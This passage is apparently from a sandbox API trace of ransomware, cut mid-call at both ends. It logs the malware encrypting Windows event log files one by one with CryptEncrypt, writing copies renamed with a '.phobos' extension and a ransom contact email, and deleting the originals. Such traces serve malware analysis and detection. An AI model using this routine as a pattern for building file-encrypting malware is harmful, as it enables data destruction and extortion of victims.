(hObject=0x324) returned 1 [0061.726] CloseHandle (hObject=0x33c) returned 1 [0061.728] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0061.729] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0061.729] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.735] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0061.735] CloseHandle (hObject=0x304) returned 1 [0061.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0061.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.735] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.735] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.735] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.735] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.735] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0061.735] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.735] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0061.740] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0061.740] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0061.742] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ccf0) returned 1 [0061.742] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.743] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc0, dwBufLen=0xc0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc0) returned 1 [0061.743] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0061.743] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x172, lpOverlapped=0x0) returned 1 [0061.743] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.743] CloseHandle (hObject=0x304) returned 1 [0061.743] CloseHandle (hObject=0x338) returned 1 [0061.745] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0061.747] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0061.747] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.747] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0061.747] CloseHandle (hObject=0x338) returned 1 [0061.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0061.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.748] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.748] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.748] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.748] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.074] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cf30) returned 1 [0062.074] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.074] ReadFile (in: hFile=0x338, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.076] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.076] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.078] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ce70) returned 1 [0062.078] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.078] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0062.079] CryptDestroyKey (hKey=0x10ce70) returned 1 [0062.079] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0062.079] CryptDestroyKey (hKey=0x10cf30) returned 1 [0062.079] CloseHandle (hObject=0x338) returned 1 [0062.079] CloseHandle (hObject=0x304) returned 1 [0062.082] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0062.084] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.084] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.084] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.084] CloseHandle (hObject=0x304) returned 1 [0062.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0062.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.085] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.085] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.085] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.085] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.085] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cf70) returned 1 [0062.085] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.085] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.087] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.087] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.089] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d070) returned 1 [0062.089] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.089] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0062.089] CryptDestroyKey (hKey=0x10d070) returned 1 [0062.089] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0062.090] CryptDestroyKey (hKey=0x10cf70) returned 1 [0062.090] CloseHandle (hObject=0x304) returned 1 [0062.090] CloseHandle (hObject=0x338) returned 1 [0062.092] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0062.094] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.094] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.094] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.094] CloseHandle (hObject=0x338) returned 1 [0062.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0062.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.094] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.094] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.094] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.095] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.124] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d1f0) returned 1 [0062.124] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.124] ReadFile (in: hFile=0x338, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.131] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.132] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.134] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cc30) returned 1 [0062.134] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.134] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0062.134] CryptDestroyKey (hKey=0x10cc30) returned 1 [0062.134] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0062.134] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0062.134] CloseHandle (hObject=0x338) returned 1 [0062.134] CloseHandle (hObject=0x304) returned 1 [0062.136] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0062.138] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.138] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.138] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.138] CloseHandle (hObject=0x304) returned 1 [0062.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0062.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.138] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.138] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.139] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.139] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.139] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cb30) returned 1 [0062.139] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.139] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.304] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.304] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.305] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d170) returned 1 [0062.305] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.305] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0062.306] CryptDestroyKey (hKey=0x10d170) returned 1 [0062.306] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0062.306] CryptDestroyKey (hKey=0x10cb30) returned 1 [0062.306] CloseHandle (hObject=0x304) returned 1 [0062.306] CloseHandle (hObject=0x338) returned 1 [0062.307] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0062.401] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.401] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.401] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.401] CloseHandle (hObject=0x338) returned 1 [0062.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0062.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.402] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.402] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.402] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.402] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.402] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0062.402] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.402] ReadFile (in: hFile=0x338, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.404] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.404] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, 